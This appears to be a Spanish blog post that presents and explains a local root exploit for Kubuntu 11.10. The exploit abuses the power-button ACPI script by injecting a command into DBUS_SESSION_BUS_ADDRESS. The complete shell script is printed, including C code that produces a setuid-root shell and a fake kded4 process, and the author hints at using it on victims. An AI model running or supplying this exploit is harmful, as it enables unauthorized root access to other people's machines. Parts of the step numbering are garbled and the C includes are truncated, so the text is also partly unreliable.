Básicamente pues explicare un poco de cómo trabaja esta vulnerabilidad y como explotarla, para esto pues he montado un laboratorio con las siguientes características:
- Un kubutu 11.10, sin ninguna actualización de seguridad.
- Una cuenta de usuarios normal sin sudo.
- Cambiar contraseñas de root y habilitar la entrada por KDE4 (solo para el demo, esto no viene configurado por defecto en Ubuntu).
4. Entrar por escritorio con cuenta de root
Exploit:
PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"
KDEDC="kded4.c"
KDEDEXE="kded4"
TRIGGER="/etc/acpi/powerbtn.sh"
rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC
echo "[+] Setting umask to 0 so we have world writable files."
umask 0
echo "[+] Preparing binary payload."
# we _try_ to get a suid root shell, if not we only get a
# shell for another user
cat > $PAYLOADC <<_EOF
#include
void main(int argc, char **argv)
{
if(!strstr(argv[0],"shell")){
printf("[+] Preparing suid shell.\n");
system("cp /var/crash/payload /var/crash/shell");
setuid(0);
setgid(0);
chown ("/var/crash/shell", 0, 0);
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
}else{
execl("/bin/sh", "/bin/sh", "-i", 0);
}
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC
echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include
void main (){
while(42){
sleep(1);
if( access( "/var/crash/shell" , F_OK ) != -1 ) {
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
exit(0);
}
}
}
_EOF
gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC
echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxxx & $PAYLOADEXE"
echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE
rm $KDEDEXE
El siguiente exploit se aprovecha del script /etc/acpi/powerbtn.sh el cual es ejecutado cuando se presiona el botón de apagado de la siguiente manera, debido a que a que la variable DBUS_SESSION_BUS_ADDRESS puede ser controlada por cualquier usuario, esto hace propenso al siguiente código a ejecutar código malicioso.
test "$XUSER" != "" && test -x /usr/bin/qdbus && test -r /proc/$(pidof kded4)/environ && su - $XUSER -c "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ |tr '\0' '\n'|grep DBUS_SESSION_BUS_ADDRESS); qdbus org.kde.kded" | grep -q powerdevil) ;
Veamos como:
- Debido a que es necesario que solo exista un proceso de kded4, en el sistema y este sea controlado por nosotros, tendremos matarlo del sistema.
a. Para efectos de este lab lo haremos con sudo kill kded4 el que ejecute este exploit en una víctima tiene que buscarse como hacer ;).
b. Creando nuestro proceso KDED es ejecutado el cat /proc/$(pidof kded4)/environ entrara al proceso que genera este exploit.
- Una vez haciendo esto el exploit se encarga de generar un ejecutable llamado kded4 y con el PAYLOAD logar hacer que se ejecute de la siguiente manera:
b. Copia el ejecutable llamado payload por uno llamado Shell, el cual mediante un strstr decide si ejecutar la Shell, con las propiedades creadas.
3. Ahora bien cómo funciona esto:
a. Al ejecutar el exploit este exporta la variable DBUS_SESSION_BUS_ADDRESS de la siguiente manera:
DBUS_SESSION_BUS_ADDRESS=xxxx & $PAYLOADEXE
b. Mandara el comando “xxxx” al segundo plano y ejecutara el contenido de $PAYLOAD.
c. Una vez hecho esto, se necesita ejecutar el script /etc/acpi/powerbtn.sh, presionando el botón de apagar en el sistema.
d. Hecho esto debe aparecer una nueva bash con propiedades de suid de root.
No hay comentarios:
Publicar un comentario